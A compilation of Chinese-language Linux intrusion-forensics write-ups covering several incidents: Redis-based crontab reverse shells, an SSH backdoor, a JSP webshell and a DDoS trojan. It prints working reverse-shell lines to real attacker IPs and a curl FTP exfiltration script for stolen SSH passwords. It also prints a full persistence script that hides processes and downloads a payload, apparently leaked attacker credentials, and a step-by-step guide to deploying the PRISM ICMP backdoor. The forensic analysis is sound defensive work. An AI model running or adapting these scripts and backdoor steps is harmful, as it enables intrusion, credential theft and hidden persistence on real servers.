0x01 背景


2017.3.27中午运维反应怀疑zabbix所在服务器被入侵。

0x02 排查过程


ps查看进程,发现端口反弹行为

Bash反弹:/dev/tcp/107.151.149.242/82 0>&1
Python反弹:rssocks -s 107.151.149.242:1080

查看进程启动时间发现为Feb 27,启动账户为Root。
查看/sbin /usr/bin /usr/sbin /bin

[root@blog73 etc]# ls -al /bin /usr/bin /usr/sbin/ /sbin/ | grep "Feb 27"
-rwxr-xr-x 1 root root 84824 Feb 27 2013 dbus-binding-tool
-rwxr-xr-x 1 root root 66360 Feb 27 16:52 scp
-rwxr-xr-x 1 root root 108760 Feb 27 16:52 sftp
lrwxrwxrwx 1 root root 5 Feb 27 16:52 slogin -> ./ssh
-rwxr-xr-x 1 root root 403104 Feb 27 16:52 ssh
-rwxr-xr-x 1 root root 139704 Feb 27 16:52 ssh-add
-rwxr-xr-x 1 root root 122992 Feb 27 16:52 ssh-agent
-rwxr-xr-x 1 root root 189280 Feb 27 16:52 ssh-keygen
-rwxr-xr-x 1 root root 230112 Feb 27 16:52 ssh-keyscan
-rwxr-xr-x 1 root root 493504 Feb 27 16:52 sshd

发现sshd Mtime为Feb 27,可以确认此时的SSH已经被植入后门,一般的SSH后门比较容易发现,功能如下:
1)如果我通过SSH登录该服务器,那么攻击者可以记录我的登录密码
2)可以记录从该机器SSH到其他机器的密码

查找到攻击者下载的文件:

[root@blog73 tmp]# ll /var/tmp/
total 20
-rw-r--r-- 1 root root 517 Mar 27 13:48 getTitle.py
drwxr-xr-x 6 root root 4096 Feb 27 17:22 python
-rw-r--r-- 1 root root 689 Mar 27 13:48 ssh.py
drwxr-xr-x 5 1000 1000 4096 Feb 27 16:59 sss
drwxr-xr-x 4 root root 4096 Apr 16 2015 tat

其中sss下为socks的源码文件。

[root@blog73 bin]# ll /usr/local/bin/ssocks*
-rwxr-xr-x 1 root root 115732 Feb 27 16:59 /usr/local/bin/ssocks
-rwxr-xr-x 1 root root 107074 Feb 27 16:59 /usr/local/bin/ssocksd

在根目录下发现攻击者的SSH密码记录文件。

[root@blog73 /]# ls -al | grep log
-rw-r--r-- 1 root root 372 Mar 27 13:38 .ilog
[root@blog73 /]# cat .ilog
user:password --> web:************
user:password --> admin:*************

在定时任务中发现了攻击者的反弹任务

[root@blog73 /]# crontab -l
REDIS0006þ<

*/1 * * * * bash -i >& /dev/tcp/107.151.149.242/82 0>&1

这个很明显是利用Root启动的Redis无密码持久化写入反弹任务。查看Redis

[root@blog73 web]# /usr/local/bin/redis-cli
127.0.0.1:6379> KEYS *
1) "1"
127.0.0.1:6379> get 1
"\n\n*/1 * * * * bash -i >& /dev/tcp/107.151.149.242/82 0>&1\n\n\n"

果然发现了该value

查看还未断开的攻击者的连接

[root@blog73 tmp]# ps axu | grep Feb27 | grep bash
root 12411 0.0 0.0 66124 1560 ? S Feb27 0:00 bash -i
root 24268 0.0 0.0 66124 1568 ? S Feb27 0:00 bash -i
[root@blog73 fd]# lsof -p 12411
bash 12411 root 0u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
bash 12411 root 1u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
bash 12411 root 2u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
bash 12411 root 255u IPv4 4207595388 0t0 TCP 59.151.113.73:32509->107.151.149.242:xfer (ESTABLISHED)
[root@blog73 12411]# lsof -p 24268
bash 24268 root 0u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)
bash 24268 root 1u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)
bash 24268 root 2u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)
bash 24268 root 255u IPv4 4172904148 0t0 TCP 59.151.113.73:24815->107.151.149.242:xfer (ESTABLISHED)

通过history查看攻击者的其他行为:

82 [2017-02-27 16:33:28][root][] nmap 192.168.122.1/24 -p873
83 [2017-02-27 16:33:55][root][] nmap 192.168.109.1/24 -p873
85 [2017-02-27 16:34:57][root][] nmap 59.151.113.73/24 -p6379,2049

攻击者扫描内网Rsync端口。

109 [2017-02-27 16:47:57][root][] wget https://raw.githubusercontent.com/yeohZhou/neiwang/master/sshBackdoorinsatll.sh --no-check
110 [2017-02-27 16:48:00][root][] ls
111 [2017-02-27 16:48:08][root][] mv sshBackdoorinsatll.sh /var/tmp/
112 [2017-02-27 16:48:10][root][] cd /var/tmp
113 [2017-02-27 16:48:10][root][] ls
114 [2017-02-27 16:49:26][root][] chmod +x sshBackdoorinsatll.sh
115 [2017-02-27 16:49:40][root][] ssh -V
116 [2017-02-27 16:50:03][root][] ./sshBackdoorinsatll.sh OpenSSH_4.3 p2
117 [2017-02-27 16:52:48][root][] ls
118 [2017-02-27 16:53:08][root][] /etc/init.d/sshd restart

攻击者下载SSH后门,并执行替换SSH。

120 [2017-02-27 16:56:41][root][] wget https://svwh.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz
121 [2017-02-27 16:58:38][root][] ls
122 [2017-02-27 16:58:44][root][] tar zxvf ssocks-0.0.14.tar.gz
123 [2017-02-27 16:58:51][root][] mv ssocks-0.0.14 sss
124 [2017-02-27 16:58:52][root][] ls
125 [2017-02-27 16:58:54][root][] cd sss
126 [2017-02-27 16:58:54][root][] ls
127 [2017-02-27 16:59:09][root][] ./configure && make
128 [2017-02-27 16:59:39][root][] make install

攻击者下载Sock反弹程序。

135 [2017-02-27 17:00:52][root][] wget https://raw.githubusercontent.com/yeohZhou/neiwang/master/getTitle.py --no-check
144 [2017-02-27 17:07:01][root][] python getTitle.py 10.59.0 80
145 [2017-02-27 17:07:12][root][] pip install requests
146 [2017-02-27 17:10:22][root][] wget https://pypi.python.org/packages/37/e4/74cb55b3da7777a1dc7cd7985c3cb12e83e213c03b0f9ca20d2c0e92b3c3/requests-1.2.0.tar.gz#md5=22af2682233770e5468a986f451c51c0 --no-check
147 [2017-02-27 17:10:25][root][] ls
148 [2017-02-27 17:10:35][root][] tar zxvf requests-1.2.0.tar.gz
149 [2017-02-27 17:10:44][root][] cd requests-1.2.0
150 [2017-02-27 17:10:44][root][] ls
151 [2017-02-27 17:10:53][root][] python setup.py
152 [2017-02-27 17:11:00][root][] python install setup.py
153 [2017-02-27 17:11:04][root][] python setup.py install
154 [2017-02-27 17:11:23][root][] cd ..
155 [2017-02-27 17:11:23][root][] ls
156 [2017-02-27 17:11:25][root][] wget https://pypi.python.org/packages/04/75/52e169351e24a9faa8bfac69a07ea3551b845ca6354f22da15c5da3d5100/requests-0.13.4.tar.gz#md5=286cd3352509691e81c520accc5b9e48
157 [2017-02-27 17:11:35][root][] wget https://pypi.python.org/packages/04/75/52e169351e24a9faa8bfac69a07ea3551b845ca6354f22da15c5da3d5100/requests-0.13.4.tar.gz#md5=286cd3352509691e81c520accc5b9e48 --no-check
158 [2017-02-27 17:12:20][root][] tar zxvf requests-0.13.4.tar.gz
159 [2017-02-27 17:12:25][root][] cd requests-0.13.4
160 [2017-02-27 17:12:25][root][] ls
161 [2017-02-27 17:12:29][root][] python setup.py
162 [2017-02-27 17:14:38][root][] yum install python
163 [2017-02-27 17:14:55][root][] yum
164 [2017-02-27 17:15:18][root][] yum update python

攻击者下载了扫描内网80端口并且记录title的Python程序getTitle.py,想进一步扫描内网,但是发现Linux自带的Python没有requests包,下载requests包并安装,升级Python版本。后未执行成功该脚本。

0x03 处理方式


1)KIll异常进程,删除Py文件、crontab异常内容。
2)重装Openssh
3)卸载Redis
4)重启服务器

0x01 排查过程


11:10看到主机监控告警,告警内容为

cd "/usr/local/web/cdksw/general-tomcat-6.0.18/webapps/background/background/upload/";ver;echo [S];pwd;echo [E]

看内容就是菜刀马执行,看目录发现是upload可以猜测是文件上传的问题。受影响的是两台负载的机器,其中一台报警了。
查看报警定位到被黑的JAVA项目进程为5916。
搜索上传路径下的JSP文件,找到了三个,很明显的JSP马。

-rw-r--r-- 1 admin admin 84496 Mar 19 2015 1394517320862.jsp
-rw-r--r-- 1 admin admin 6285 Mar 19 2015 1394619430391.jsp
-rw-rw-r-- 1 admin admin 139012 Mar 19 2015 1419589329217.jsp

不过这里的时间是2015年的。可能是被修改了时间,也可能15年的时候就被搞了。
这个项目基本没人访问,运维也没有切割Nginx Access_log文件,所以我查了下文件的访问记录。

219.150.180.18 - - [11/Nov/2015:11:49:14 +0800] "HEAD /background/upload/1394619430391.jsp HTTP/1.1" 404 162 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36" "-"

发现15年的时候有人访问过这个文件,不过返回状态码是404。
然后看到今天的日志

61.178.80.107 - - [16/Jan/2017:11:07:44 +0800] "POST /background/upload/1394619430391.jsp HTTP/1.1" 200 420 
59.151.109.39 - - [16/Jan/2017:11:10:00 +0800] "POST /background/upload/1394619430391.jsp HTTP/1.1" 200 197

攻击者11:07访问的马,然后11:10告警。
下午看日志发现攻击者仍然在尝试上传。

0x02 处理措施


1)另一台机器上同样是有这三个马,删除JSP马。

2)Nginx限制upload目录下JSP访问。

3)与开发确认后,得知该后台已经不使用了,下线处理。

0x01 排查过程


异常进程发现:
/usr/bin/.sshd
[kworker95]

在开机启动中发现:

/tmp下的异常文件

异常的网络连接

使用lsof的时候发现返回内容不正常,查看下lsof

mtime为10:46,并且大小不正常,很明显命令被替换了。
看下/usr/bin/下

/use/sbin下

然后检查了cron、rc3等没有发现异常。

 

0x02 处理过程


[root@localhost tmp]# chmod 000 conf.n moni.lod gates.lod \[kworker95\] /usr/bin/.sshd
[root@localhost tmp]# chattr +i /tmp /usr/bin /usr/sbin

删除rc.local中的异常内容,并重启服务器。

[root@localhost tmp]# chattr -i /tmp /usr/bin /usr/sbin
[root@localhost tmp]# rm -f conf.n moni.lod gates.lod \[kworker95\] /usr/bin/.sshd

然后从其他机器拷贝lsof和ss替换。

某日哥们的负责的服务器因为SSH弱口令被黑了(又是边界安全意识的问题),看到异常的进程信息如下:

123

lsof看一下打开的文件,发现/dev/g下存在这些东西

123

然后习惯性的按照时间排序查看一下命令,因为root已经被拿了所以非常有可能已经修改了命令。然后看到ps和netstat都非常小,这太不正常了。

-rwxr-xr-x 1 root root 78 Apr 30  2016 /bin/netstat
strings netstat
#!/bin/sh
for arg in "$*";do
.Fnetstat $arg|grep -v "125.77.31.197";done;exit

发现其实执行的是Fnetstat
ps也被替换了,最终执行的Fps

[root@localhost tmp]# strings /bin/ps
#!/bin/sh
for arg in "$*";do
.Fps $arg|grep -v ".syslogd--system"|grep -v "a8137c40f9"|grep -v "ps"|grep -v "grep"|grep -v "nslookup"|grep -v "mail";done;exit

cron.hourly下的三个脚本mail.sh、mail.py、ssh_deny.sh

123

先来看ssh_deny.sh

123

/dev/black.txt记录的是SSH登录失败的IP及次数

pt是SSH的监听端口

脚本功能就是使用iptables封禁登录失败次数大于3次的IP

mail.py是一个发送邮件的脚本,会将/dev/1.txt发送出去。

从脚本中可以看到两个账号

user=’success501@163.com’,passwd=’ff1314′

还有一个qq邮箱995999349@qq.com

然后看mail.sh

#!/bin/bash
S=`date +%s%N | md5sum | head -c 10`
ip=`ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'`
pt=`netstat -ntlp | awk '!a[$NF]++ && $NF~/sshd$/{sub (".*:","",$4);print $4}'`
Add=`nslookup www.1024kbs.com|grep "Address: "|awk '{print $2}'`

mv /dev/1.txt /dev/"$ip"+1+"$pt"+"$S".txt;mv /dev/2.txt /dev/"$ip"+2+"$pt"+"$S".txt
curl -u root:ff1314 -T "{/dev/"$ip"+1+"$pt"+"$S".txt,/dev/"$ip"+2+"$pt"+"$S".txt}" ftp://$Add:888
rm -rf /dev/"$ip"+1+"$pt"+"$S".txt /dev/"$ip"+2+"$pt"+"$S".txt

可以看出是将/dev/1.txt和/dev/2.txt重命名后上传到FTP上,然后删除掉。估计这里被装了SSH后门,1.txt和2.txt就是记录密码的文件,不过SSH被哥们的同事重装了,这里看不出来了,然后登下FTP看看。登上FTP服务器发现在几个密码文件

ftp> open www.1024kbs.com 888
Connected to www.1024kbs.com (118.193.212.86).
220 Welcome to www.Gxnn.com FTP Server!
Name (www.1024kbs.com:root): root
331 Password required for root
Password:
230 User successfully logged in.
Remote system type is Base.
ftp> ls
227 Entering Passive Mode (118,193,212,86,4,88).
150 Opening ASCII mode data connection for directory list.
-rwx------ 1 user group              7 Nov 18 11:52 116.211.17.5+1+22+426e95d58e.txt
-rwx------ 1 user group              6 Nov 18 11:52 116.211.17.5+1+22+9ada1f5efb.txt
-rwx------ 1 user group             32 Nov 18 14:48 116.211.17.5+1+22+b500d80263.txt
-rwx------ 1 user group              7 Nov 18 11:52 116.211.17.5+2+22+426e95d58e.txt
-rwx------ 1 user group              6 Nov 18 11:52 116.211.17.5+2+22+9ada1f5efb.txt
-rwx------ 1 user group             50 Nov 18 14:55 221.229.164.18+1+22+8e46e6b7d4.txt
226 Transfer complete.
ftp>

又是其他受害者的SSH信息。搜索是995999349看到一篇文章。http://blog.chinaunix.net/uid-25057421-id-5195167.html发现了攻击者的脚本。

#! /bin/bash
#chkconfig:12345 90 90
#############################################
#############################################
#############################################
#############################################
#############################################
path=`pwd`
exit0="exit 0"
Fss="/usr/bin/.Fss"
Fps="/usr/bin/.Fps"
Fnet="/usr/bin/.Fnetstat"
LockAngel="/usr/bin/zfgsr"
Fssbak="/usr/bin/dpkgd/ss"
Fpsbak="/usr/bin/dpkgd/ps"
Fnetbak="/usr/bin/dpkgd/netstat"
MyFileAngel="/etc/init.d/.dbus-daemon--system"
PuppetAngel="/usr/bin/.dbus-daemon--system.bak"
allow="/etc/allow.bak"
Fconfig="/sbin/Fconfig.n"
S99="/etc/rc.d/init.d/S99.25000"
if [ ! -f  "$Fconfig" ];then
echo byqinshou 995999349 > $Fconfig
zfgsr +ia $Fconfig >/dev/null 2>&1
fi
Address1=`nslookup www.120kongbao.com|grep "Address: "|awk '{print $2}'`
if [ -z "$Address1" ];then
zfgsr -ia /etc/resolv.conf
echo 'nameserver 114.114.114.114'>/etc/resolv.conf
echo 'nameserver 8.8.8.8'>>/etc/resolv.conf
touch -d "2010-06-7 08:10:30"  /etc/resolv.conf
zfgsr +ia /etc/resolv.conf
fi
Ftempbash=`cat $Fconfig | awk '{print $2}'`   #现脚本文件名
Fbashtemp="/usr/bin/"$Ftempbash #现脚本路径
Fbashname=`date +%s%N | md5sum | head -c 10`
Fbashpath="/usr/bin/"$Fbashname #新脚本路径
if [ $0 != "$Fbashtemp" ];then
pkill $Ftempbash;killall $Ftempbash
zfgsr -ia /usr/bin/$Ftempbash;rm -f /usr/bin/$Ftempbash
zfgsr -ia $PuppetAngel;rm -f $PuppetAngel
fi
# -------------------------------------------------------------
if [ ! -f  "$LockAngel" ];then
zfgsr -ia $LockAngel
rm -rf $LockAngel
cp -f /usr/bin/chattr $LockAngel
cp -f /usr/bin/chattr /usr/bin/.zfgsr
cp -f /usr/bin/.zfgsr $LockAngel
chmod 777 $LockAngel
chmod 777 /usr/bin/.zfgsr
touch -d "2011-06-7 08:10:30"  $LockAngel
touch -d "2011-06-7 08:10:30"  /usr/bin/.zfgsr
rm -rf /usr/bin/chattr
zfgs +ia $LockAngel >/dev/null 2>&1
fi
#删除原chattr命令,并复制chattr为/usr/bin/.zfgsr和/usr/bin/zfgsr /usr/bin/zfgsr添加ai属性,不可增删改
if [ -f /usr/sbin/ss ];then
if [ ! -f "$Fss" ];then
if [ ! -f "$Fssbak" ];then
mkdir /usr/bin/dpkgd/
cp -f /usr/sbin/ss $Fssbak
cp -f /usr/sbin/ss $Fss
else
cp -f $Fssbak $Fss
fi
zfgsr -ia /usr/sbin/ss
rm -rf /usr/sbin/ss
echo '#!/bin/sh' > /usr/sbin/ss
echo '.Fss|grep -v "'$Address1'"' >> /usr/sbin/ss
echo 'exit' >> /usr/sbin/ss
chmod 0755 $Fss;chmod 0755 /usr/sbin/ss
zfgsr +ia /usr/sbin/ss >/dev/null 2>&1
zfgsr +ia $Fssbak >/dev/null 2>&1
zfgsr +ia $Fss >/dev/null 2>&1
fi
fi
#修改ss命令
if [ -f /bin/netstat ];then
if [ ! -f "$Fnet" ];then
if [ ! -f "$Fnetbak" ];then
mkdir /usr/bin/dpkgd/
cp -f /bin/netstat $Fnetbak
cp -f /bin/netstat $Fnet
else
cp -f $Fnetbak $Fnet
fi
zfgsr -ia /bin/netstat
rm -rf /bin/netstat
echo '#!/bin/sh' > /bin/netstat
echo 'for arg in "$*";do' >> /bin/netstat
echo '.Fnetstat $arg|grep -v "'$Address1'";done;exit' >> /bin/netstat
chmod 0755 $Fnet;chmod 0755 /bin/netstat
zfgsr +ia /bin/netstat >/dev/null 2>&1
zfgsr +ia $Fnetbak >/dev/null 2>&1
zfgsr +ia $Fnet >/dev/null 2>&1
fi
fi
#修改netstat
if [ -f /bin/ps ];then
if [ ! -f "$Fps" ];then
if [ ! -f "$Fpsbak" ];then
mkdir /usr/bin/dpkgd/
cp -f /bin/ps $Fpsbak
cp -f /bin/ps $Fps
else
cp -f $Fpsbak $Fps
fi
zfgsr -ia /bin/ps
rm -rf /bin/ps
echo '#!/bin/sh' > /bin/ps;echo 'for arg in "$*";do' >> /bin/ps
echo '.Fps $arg|grep -v "'.dbus-daemon--system'"|grep -v "'$Fbashname'"|grep -v "ps"|grep -v "grep";done;exit' >> /bin/ps
chmod 0755 $Fps;chmod 0755 /bin/ps
zfgsr +ia /bin/ps >/dev/null 2>&1
zfgsr +ia $Fpsbak >/dev/null 2>&1
zfgsr +ia $Fps >/dev/null 2>&1
fi
fi
#修改ps命令,屏蔽了ps、grep等显示
if [ ! -f  "$allow" ];then
cp -f /etc/hosts.allow $allow
zfgsr +ia $allow >/dev/null 2>&1
fi
# by qinshou -----------------------------------------------
ExistAngel=`.Fps aux | grep .dbus-daemon--system | grep -v "grep" |wc -l`
if [ $ExistAngel != 1 ];then
zfgsr -ia /usr/bin/.dbus-daemon--system
rm -rf /usr/bin/.dbus-daemon--system
cp -f /usr/bin/.dbus-daemon--system.bak /usr/bin/.dbus-daemon--system
chmod 777 /usr/bin/.dbus-daemon--system
/usr/bin/.dbus-daemon--system
  rm -rf /usr/bin/.dbus-daemon--system
fi
if [ ! -f  "$MyFileAngel" ];then
  zfgs -i /usr/bin/wget
  zfgs -a /usr/bin/wget
chmod 777 /usr/bin/wget
wget -P /etc/ http://www.120kongbao.com:999/1000.exe
zfgs -i $MyFileAngel
zfgs -a $MyFileAngel
rm -rf $MyFileAngel
chmod 777 /etc/1000.exe
mv -f /etc/1000.exe $MyFileAngel
zfgs +i $MyFileAngel
zfgs +a $MyFileAngel
chmod 0 /usr/bin/wget
zfgs +i /usr/bin/wget
zfgs +a /usr/bin/wget
fi
if [ ! -f  "$PuppetAngel" ];then
cp -f $MyFileAngel $PuppetAngel
zfgs +i $PuppetAngel
zfgs +a $PuppetAngel
fi
iptable=`iptables -L INPUT|grep $Address1|awk '{print $1 $4}'`
if [ -z "$iptable" ];then
iptables -I INPUT -s $Address1 -j ACCEPT
else
iptables -D INPUT -s $Address1 -j DROP
fi
# 自启动------------------
if [ ! -f  "$S99" ];then
echo "#!/bin/sh" >> $S99
echo "# chkconfig: 12345 90 90" >> $S99
echo "# description: $Ftempbash" >> $S99
echo "### BEGIN INIT INFO" >> $S99
echo "# Provides:	$Ftempbash" >> $S99
echo "# Required-Start:	" >> $S99
echo "# Required-Stop:	" >> $S99
echo "# Default-Start:	1 2 3 4 5" >> $S99
echo "# Default-Stop:	" >> $S99
echo "# Short-Description:	$Ftempbash" >> $S99
echo "### END INIT INFO" >> $S99
echo 'case $1 in' >> $S99
echo "start)" >> $S99
echo "	$Fbashpath" >> $S99
echo "	;;" >> $S99
echo "stop)" >> $S99
echo "	;;" >> $S99
echo "*)" >> $S99
echo "	$Fbashpath" >> $S99
echo "	;;" >> $S99
echo "esac" >> $S99
fi
# by qinshou -----------------------------------------------
zfgsr -ia $Fconfig;zfgsr -ia $0;zfgsr -ia $Fbashpath
sed -i "s|$Ftempbash|$Fbashname|" $Fconfig
zfgsr +ia $Fconfig >/dev/null 2>&1
cp -f $0 $Fbashpath;rm -f $0;chmod 0755 $Fbashpath
# by qinshou -----------------------------------------------
if [ -z "`$S99|grep "$Fbashtemp"`" ]; then
sed -i "s|$Ftempbash|$Fbashname|" $S99
chmod 777 $S99
fi
# by qinshou -----------------------------------------------
zfgsr -ia /usr/bin/chattr;rm -f /usr/bin/chattr
zfgsr -ia /etc/hosts.allow;cp -f $allow /etc/hosts.allow;zfgsr +ia /etc/hosts.allow >/dev/null 2>&1
sleep 1;zfgsr -ia $Fbashpath;chmod 0755 $Fbashpath;nohup $Fbashpath >/dev/null 2>&1 &
# by qinshou -----------------------------------------------
zfgsr -ia /bin/ps;sed -i "s|$Ftempbash|$Fbashname|" /bin/ps
zfgsr -ia /bin/netstat;chmod 0755 /bin/netstat;chmod 0755 /bin/ps
zfgsr +ia /bin/netstat >/dev/null 2>&1
zfgsr +ia /bin/ps >/dev/null 2>&1
# by qinshou -----------------------------------------------
exit

 

支持平台

Linux

Solaris

AIX

BSD/Mac

Android

 

功能

支持两种模式:ICMP和STATIC

进程名自定义

没有监听端口

支持清空iptables配置

pure C开发

没有依赖库

 

项目地址

git clone https://github.com/andreafabrizi/prism.git

 

编译

gcc <..OPTIONS..> -Wall -s -o prism prism.c

 

选项如下:

-DDETACH #后台运行

-DSTATIC #开启STATIC模式 (默认ICMP模式)

-DNORENAME #不使用自定义的进程名

-DIPTABLES #清空所有的iptables规则

 

ICMP模式

使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息的ICMP数据包,通过私有密钥可以阻止第三方访问。后门进程接受ping包激活。

 

可以修改密钥,默认是p4ssw0rd

vim prism.c

#ifdef STATIC

# define REVERSE_HOST     "172.16.100.182"

# define REVERSE_PORT     6666

# define RESPAWN_DELAY    15

#else

# define ICMP_PACKET_SIZE 1024

# define ICMP_KEY         "p4ssw0rd"

#endif



#define VERSION          "0.5"

#define MOTD             "PRISM v"VERSION" started\n\n# "

#define SHELL            "/bin/sh"

#define PROCESS_NAME     "udevd"
gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c

[root@vincent prism-master]# ./prism Inf0

 Version:          0.5

 Mode:                       icmp

 Key:                           p4ssw0rd

 Shell:                         /bin/sh

 Detach:           Yes

 Flush Iptables:        No

可以看到模式为icmp

攻击机(172.16.100.182):

nc -vv -l -p 6666

肉鸡(172.16.100.134):

./prism

攻击机(172.16.100.182):

./sendPacket.py 172.16.100.134 p4ssw0rd 172.16.100.182 6666

发送icmp包

内容如下:
p4ssw0rd 172.16.100.182 6666 QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ

然后获得Shell。

root@kali:/tmp/prism# nc -l -p 6666

PRISM v0.5 started



# whoami

root

 

STATIC模式

后门尝试连接硬编码的IP:PORT

 

vim prism.c

#ifdef STATIC

# define REVERSE_HOST     "172.16.100.182"

# define REVERSE_PORT     6666

# define RESPAWN_DELAY    15

#else

# define ICMP_PACKET_SIZE 1024

# define ICMP_KEY         "p4ssw0rd"

#endif



#define VERSION          "0.5"

#define MOTD             "PRISM v"VERSION" started\n\n# "

#define SHELL            "/bin/sh"

#define PROCESS_NAME     "udevd"

可以看到自定义进程名称为udevd

重新编译

gcc -DDETACH -DSTATIC -Wall -s -o prism prism.c


[root@vincent prism-master]# ./prism Inf0

 Version:          0.5

 Mode:                       static

 Host:                         172.16.100.182

 Port:                          6666

 Respawn Delay:              15 sec

 Process name:                 udevd

 Shell:                         /bin/sh

 Detach:           Yes

 Flush Iptables:        No

攻击机(172.16.100.182):

nc -vv -l -p 6666

肉鸡(172.16.100.134):

./prism

查看进程

[root@vincent prism-master]# ps axu | grep udev | grep -v grep

root      14474  0.0  0.0   3924   144 pts/1    S    17:26   0:00 udevd

获得Shell

root@kali:/tmp/prism# nc -l -p 6666

PRISM v0.5 started



# whoami

root

 

中毒现象:
内到外的流量大,打DDOS
入侵方式:
通过SSH暴力破解
病毒分析:
木马病毒在top里面表现为随机的10位字母的进程,看/proc里面的信息,则为ls,cd之类常见的命令。杀死该进程后,会再随机产生一个新的进程,删除这些木马文件后,会再重新生成新的木马文件。由此可以判断,木马病毒会自动修复,多个进程之间会互相保护,一旦删除和被杀,立即重新启动和复制。
首先注意到/tmp/.zl文件
[root@server120 tmp]# file .zl
zl: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
二进制文件,通过Strings查看一下
发现这个病毒会干掉其他的病毒,如下

rm -f /boot/IptabLes ; rm -f /boot/.IptabLes ; rm -f /boot/IptabLex ; rm -f /boot/.IptabLex ; rm -f /usr
/IptabLes ; rm -f /usr/.IptabLes ; rm -f /usr/IptabLex ; rm -f /usr/.IptabLex
netstat -anp | grep "IptabLes" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m 
> /dev/null
netstat -anp | grep "IptabLex" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m 
> /dev/null

DDOS功能
SYN@%s:%d
UDP@%s:%d
DNS@%s:%d#%s
WEB@%s:%d#%s
TCP@%s:%d#%s
查看网络连接,发现ls和ifconfig命令竟然监听了端口

udp        0      0 0.0.0.0:49937               0.0.0.0:*                               131683/ls -la 
udp        0      0 0.0.0.0:47584               0.0.0.0:*                               116515/ifconfig

查看可执行文件:

[root@DataNode105 admin]# lsof -p 131683
COMMAND      PID USER   FD   TYPE    DEVICE SIZE/OFF     NODE NAME
hahidjqzx 131683 root  cwd    DIR      8,98     4096 18087937 /root
hahidjqzx 131683 root  rtd    DIR      8,98     4096        2 /
hahidjqzx 131683 root  txt    REG      8,98   625622 24123895 /usr/bin/hahidjqzxs
hahidjqzx 131683 root    0u   CHR       1,3      0t0     4928 /dev/null
hahidjqzx 131683 root    1u   CHR       1,3      0t0     4928 /dev/null
hahidjqzx 131683 root    2u   CHR       1,3      0t0     4928 /dev/null
hahidjqzx 131683 root    3u  IPv4 153447714      0t0      UDP *:44077 

[root@DataNode105 admin]# lsof -p 116515
COMMAND      PID USER   FD   TYPE    DEVICE SIZE/OFF     NODE NAME
xmbgyycox 116515 root  cwd    DIR      8,98     4096 18087937 /root
xmbgyycox 116515 root  rtd    DIR      8,98     4096        2 /
xmbgyycox 116515 root  txt    REG      8,97   274792       40 /boot/xmbgyycoxb
xmbgyycox 116515 root    0u   CHR       1,3      0t0     4928 /dev/null
xmbgyycox 116515 root    1u   CHR       1,3      0t0     4928 /dev/null
xmbgyycox 116515 root    2u   CHR       1,3      0t0     4928 /dev/null
xmbgyycox 116515 root    3u  IPv4 153455625      0t0      UDP *:38281

病毒文件为/usr/bin/hahidjqzxs和 /boot/xmbgyycoxb
/proc/_pid/cmdline里面都是伪造的信息,ps显示的内容也一样,基本上为下面一些常见的命令
使用pstree可以看到真实的进程名称

按照修改时间排序查看系统服务,可以通过SSH日志和病毒的启动时间判断入侵的时间:

[root@DataNode104 admin]# ls -alt /etc/init.d/
total 376
drwxr-xr-x.  2 root root  4096 Aug 16 10:32 .
-rwxrwxrwx   1 root root    96 Aug 16 10:32 .zl
-rwxr-xr-x   1 root root   317 Aug 16 10:32 xmbgyycoxb
drwxr-xr-x. 10 root root  4096 Aug 13 13:02 ..
-rwxr-xr-x   1 root root   323 Aug 13 00:01 hahidjqzxs
[root@DataNode104 admin]# ls -alt /etc/rc.d/init.d/
total 372
drwxr-xr-x.  2 root root  4096 Aug 13 00:25 .
-rwxr-xr-x   1 root root   317 Aug 13 00:25 gcqrccqwcn
-rwxrwxrwx   1 root root    96 Aug 13 00:25 .zl

定时任务,查看/etc/crontab(不同于crontab -e的用户级别定时任务 ,/etc/crontab为系统级别的定时任务):
可以看到如下两条

*/3 * * * * root /etc/cron.hourly/gcc.sh
*/3 * * * * root /etc/cron.hourly/cron.sh

然后检查/etc/cron.d、/etc/cron.daily、/etc/cron.hourly、/etc/cron.monthly

[root@DataNode104 admin]# ls -alt /etc/cron.hourly/
total 28
drwxr-xr-x.   2 root root  4096 Aug 17 10:00 .
drwxr-xr-x. 124 root root 12288 Aug 17 09:15 ..
-rwxr-xr-x    1 root root   223 Aug 16 10:32 cron.sh
-rwxr-xr-x    1 root root   228 Aug 13 00:01 gcc.sh

查看脚本内容

[root@DataNode105 cron.hourly]# cat cron.sh 
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/udev/udev /lib/udev/debug
/lib/udev/debug

[root@DataNode105 cron.hourly]# cat gcc.sh 
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6

使用file查看都是可执行文件:

[root@DataNode105 cron]# file /lib/libudev.so
/lib/libudev.so: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
